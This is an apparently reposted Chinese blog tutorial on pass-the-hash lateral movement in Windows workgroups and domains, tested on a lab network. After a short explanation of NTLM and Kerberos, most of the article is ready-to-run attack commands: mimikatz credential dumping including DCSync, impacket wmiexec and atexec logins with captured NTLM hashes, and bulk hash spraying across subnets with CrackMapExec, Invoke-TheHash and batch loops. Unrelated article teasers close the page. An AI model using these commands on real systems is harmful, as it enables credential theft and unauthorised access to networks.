【域攻击】横向移动:PTH

news/2025/3/4 15:13:07/文章来源:https://www.cnblogs.com/o-O-oO/p/18742451

免责声明

本文档所提供的信息旨在帮助网络安全专业人员更好地理解并维护他们负责的网站和服务器等系统。我们鼓励在获得适当授权的情况下使用这些信息。请注意,任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。"

前言

PTH(pass the hash),中文称之为哈希传递攻击,在NTLM和Kerberos认证中,都需要使用用户的NTLM-Hash值进行加密认证,所以知道了对方用户的NTLM-Hash值之后就可以使用PTH进行认证。

在域环境中,用户登录计算机时一般使用的都是域账户,大量计算机在安装时会使用相同的本地管理员账户和密码。

如果计算机的本地管理员账户【WORKGROUP】和密码也是相同的,故攻击者就可以使用哈希传递攻击这种方法登录内网中其他计算机。

为什么要做这篇文章?
原因是PTH批量的方法较少,本文的重点也是传递PTH批量

一、PTH原理

1.1 PTH原理-NTLM认证中

response是如何生成的呢?

response = NTProofStr+blob两部分组成的

  • NTProofStr:NTLM-v2-hash值和challenge+blob进行HMAC-MD5加密的

  • NTLM-v2-hash值:大写的用户名+域名编码成Unicode格式,然后和密码的NTLM-HASH值进行HMAC-MD5加密

  • blob是由时间、目标信息、随机填充字符等生成

1.2 PTH原理-kerberos认证中

AS-REQ(AS-requests)主要包含用户的身份信息,由客户端发送给AS的数据包,其中有几个重要信息:

  • PA-DATA pA-ENC-TIMESTAMP:使用用户的hash值或者AES key加密时间戳生成的key

  • PA-DATA pA-PAC-REQUEST:是否包含有pac(PAC 包含用户的SID、用户所在组等信息)

  • kdc-options:协商字段

  • cname:请求的用户名

  • realm:域名

  • sname:请求的服务名

二、PTH条件

1、有管理员的NTLM Hash值

2、目标机器开放了445端口【atexec-pro只需要开启135就可以。】

三、不同用户下的PTH区别

哪些用户可以进行PTH ❓

这边我们来做一个测试

环境如下:


抓取每个账号HASH值

mimikatz命令:

mimikatz.exe "log" "privilege::debug" "sekurlsa::logonpasswords full" "exit"

如果新创建未登录可能存在抓不到的现象,使用如下命令即可

mimikatz.exe "log" "privilege::debug" "lsadump::sam" "exit"

administrator   47bf8039a8506cd67c524a03ff84ba4e
viper           482563f0adaac6ca60c960c0199559d2
test            700ec8a682f6e41418007992fc604c77

四、PTH 哈希传递-工作组环境

4.1 Mimikatz hash传递

mimikatz命令

privilege::debug
sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntl

✅超级管理员 administrator 【成功】

使用administrator的账号进行hash传递

privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.41.128 /ntlm:afffeba176210fad4628f0524bfe1942

传递成功。
❎本地管理员 Viper 【失败】

使用viper进行传递

sekurlsa::pth /user:viper /domain:192.168.41.128 /ntlm:482563f0adaac6ca60c960c0199559d2

传递失败

❎普通用户 test 【失败】

使用test进行传递

sekurlsa::pth /user:test /domain:192.168.41.128 /ntlm:700ec8a682f6e41418007992fc604c77

失败

4.2 impacket包 hash传递

✅超级管理员 administrator 【成功】

python wmiexec.py -hashes  :47bf8039a8506cd67c524a03ff84ba4e  administrator@192.168.41.128

❎本地管理员 Viper 【失败】

命令

python wmiexec.py -hashes  :482563f0adaac6ca60c960c0199559d2  viper@192.168.41.128

失败
❎普通用户 test 【失败】

python wmiexec.py -hashes :700ec8a682f6e41418007992fc604c77   test@192.168.41.128

失败

五、PTH 哈希传递-域内环境

抓取Hash值

mimikatz.exe "log" "privilege::debug" "lsadump::dcsync /domain:hack.com /all /csv" "exit"

hash值

administrator    afffeba176210fad4628f0524bfe1942
viper                db40247dab331ac57c207032f198f364  
win10                  47bf8039a8506cd67c524a03ff84ba4e

Hash传递

这里我们使用imapcket包进行传递。

✅域内超级管理员 Administrator 【成功】

python wmiexec.py -hashes  :afffeba176210fad4628f0524bfe1942  hack\administrator@192.168.41.157

成功

✅域内管理员 viper 【成功】

python wmiexec.py -hashes  :db40247dab331ac57c207032f198f364    hack/viper@192.168.41.157

成功
❎域内普通用户 【失败】

python wmiexec.py -hashes :47bf8039a8506cd67c524a03ff84ba4e    hack/win10@192.168.41.157

失败

总结以上

域内administrator和普通管理员可以进行PTH传递,域内普通用户不可以进行PTH传递(默认)。

以上为PTH的基础内容,让大家巩固基础的同时,保证我们在拿到Hash准备批量喷洒时心里有底。

六、批量喷洒

内网中,系统在安装的时候,一般会采用统一的账户和密码,当我们获取到一台电脑的hash值之后,可以使用hash碰撞的方式,找出拥有相同账户密码的计算机。

6.1 CrackMapExec 【kali 、 Windows】可走代理

工具下载地址:

https://github.com/maaaaz/CrackMapExecWin

优点:

1、kali、windows都支持

2、可走代理、不用上传目标主机牵扯到免杀

3、支持密码包括密码字典、hash包括hash字典

4、可以扫描网段

总而言之,最好用的方式。

使用

指定hash:

crackmapexec.exe 192.168.41.128/24 -u administrator -H 47bf8039a8506cd67c524a03ff84ba4e:47bf8039a8506cd67c524a03ff84ba4e

成功爆破到主机。
指定hash字典:

crackmapexec.exe 192.168.41.128/24 -u administrator -H hash.txt

6.2 Powershell脚本 【可走代理】

Invoke-TheHash,可以通过把NTLM hash传递给NTLM v2身份验证协议进行身份验证的攻击套件。

执行该脚本不需要本地管理员权限

条件:power shell 2.0及以上

用法:

Import-Module .Invoke-TheHash.ps1 (导入批量模块)
Import-Module .Invoke-WMIExec.ps1 (导入wmi模块)
Invoke-TheHash -Type WMIExec -Target 192.168.110.0/24 -Username administrator -Hash db40247dab331ac57c207032f198f364

命令

Invoke-TheHash -Type WMIExec -Target 192.168.41.128/24 -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e

Windows 10 powershell中 存在ASMI反病毒接口,如有以上报错,请使用server2012以及windows7,这边就不进行演示

6.3 自写Bat搭配Impacket 实现 【Windows】可走代理

=【优点】==:

比较灵活,可以将三个值都替换

【注意事项】

如果写成批处理,那么%i需要变成%%i

(ips.txt)需要使用小括号包裹

【DOS命令】

dos命令除了变量以外不区分大小写,包括执行参数也不区分大小写。

批量尝试连接ipc$,连接成功后可以使用net use查看。

以下命令修改参数后可以直接执行,无需放在bat中

## 指定固定Hash爆破ip段
FOR /F %i in (<ips.txt>) do atexec.exe -hashes :<hash> ./<username>@%i "<command>"
## 指定固定ip爆破hash
FOR /F %i in (<hash.txt>) do python atexec.py -hashes :%i administrator@192.168.41.128 "whoami"

【实例1】: 指定hash爆破ip:

FOR /F %i in (ip.txt) do python atexec.py -hashes :47bf8039a8506cd67c524a03ff84ba4e  administrator@%%i "whoami"

【实例2】:指定ip爆破hash

FOR /F %i in (hash.txt) do python atexec.py -hashes :%i administrator@192.168.41.128 "whoami"

参考🔗

https://mp.weixin.qq.com/s/CZRZEtl3M5ZXM9vgydDsfw

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/893445.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【完整汇总】近 5 年 JavaScript 新特性完整总览

关于 JavaScript 近 5 年新特性完整总结,一篇文章带你全面掌握ES2019-ES2024所有实用功能Hey, 我是 沉浸式趣谈 本文首发于 【沉浸式趣谈】,我的个人博客 https://yaolifeng.com 也同步更新。 转载请在文章开头注明出处和版权信息。 如果本文对您有所帮助,请 点赞、评论、转…

No.30 JavaScript--字符串

一、字符串 1.定义字符串就是零个或多个排在一起的字符,放在单引号或双引号之中。 单引号字符串的内部,可以使用双引号。双引号字符串的内部,可以使用单引号。如果要在单引号字符串的内部,使用单引号,就必须在内部的单引号前面加上反斜杠,用来转义。双引号字符串内部使用…

使用DeepSeek搭建个人知识库教程

背景 为什么你需要一个个人知识库? 在日常工作和学习中,我们常常会积累大量的文档、代码、笔记等资料。如果没有一个统一的存储和检索系统,这些资料很容易变得杂乱无章,查找起来费时费力。 别慌,这次我们用DeepSeek快速搭建自己的个人知识库,实现本地上传文档,量化成知识…

Java的各种内部类

对Java的各种内部类进行梳理和总结17-各种内部类https://www.cnblogs.com/kxxiaomutou/p/15646878.html 2022-11-23 21:51:14一、介绍 可以将一个类的定义放在另一个类的定义内部,这就是内部类 内部类可以分为几种具体的类型:成员内部类(常说的内部类) 匿名内部类 局部内部…

无源晶振测试仪测试参数详解

晶振测试仪 GDS-80 是一款高性价比的晶振测试系统,采用微处理器技术,实现智能化测量,符合 IEC-444 标准。其测量频率范围为 20KHz-100MHz,能够对晶振的多种参数进行精确测量,广泛应用于晶体行业、邮电、通信、广播电视、学校、研究所及工矿企业等生产和科研领域。晶振测试…

FormCreate设计器v5.6发布—AI加持的低代码表单设计器正式上线!

近期DeepSeek可谓是刷遍全网,当然,在DeepSeek等AI技术的推动下,人工智能正以惊人的速度改变着各行各业。AI不仅是一种技术趋势,更是未来生产力的核心驱动力。 如今,FormCreate设计器也正式迈入AI时代🎉🎉,推出v5.6版本,搭载AI智能表单助理,让表单设计从繁琐的手动操…

清华大学第7弹 | 亿万家长福音 -《DeepSeek赋能家庭教育》 | 免费下载

《DeepSeek赋能家庭教育》是由清华大学张诗瑶博士出品的教程,帮助中国家长解放自己的同时,提高孩子的自主学习能力和核心竞争力。下载地址:https://pdfs.top/book/清华大学-DeepSeek赋能家庭教育.html直到听了清华博士后张诗瑶的直播,我才发现: “不是孩子笨,而是我们用错…

揭秘Chrome DevTools:从原理到自定义调试工具

作者:京东科技 杜强强 引言Chrome DevTools 是前端开发者的必备工具,不仅可以用于调试 Chrome 网页,还支持 Android WebView、Roma (跨平台开发框架) 安卓&鸿蒙端等平台的调试。 作为最常用的调试工具之一,DevTools 不仅能快速定位问题,还能让我们深入了解调试的内部机…

升级到Windows 11 24h2版本后惠普打印机报错spl error 11-1114 line 601

问题描述 近日升级到Windows 11 24h2版本后发现使用HP Laser MFP 1136w Printer打印文档皆会打出一页报错页面,内容如下图所示,但是使用HP Smart Assistant打印PDF一切正常,尝试了使用HP SMART进行修复,修改网络连接方式,重新添加打印机等等方式皆无果。解决方案 排查后发…

Outlook邮箱登录失败,0x80190001错误的多种解决方法

一、Outlook邮箱客户端“0x80190001”解决方法起初出现这个问题我以为是电脑有病毒了,无奈之下全盘杀毒仍然无法解决,随后开始搜索“0x80190001”相关问题查阅,试过好多办法依然无效,直到我找到以下方法:“win+s”打开搜索界面,找到“Internet选项”点击进入该项设置。在…

AUTOSAR网络管理自动化测试如何创建测试框架

在AUTOSAR网络管理自动化测试中,需求分析、模块化设计、自动化执行是创建测试框架的核心要点,其中模块化设计尤为关键,通过将复杂的网络管理功能拆分为独立模块,实现灵活扩展与维护;这不仅能提高测试效率,还能在多变的系统环境中保持稳定性。采用标准化的设计模式,并辅以…

jmeter中的while循环控制器中变量提取

${__javaScript(${status}==0)} ${__groovy(vars.get("status") == 0)}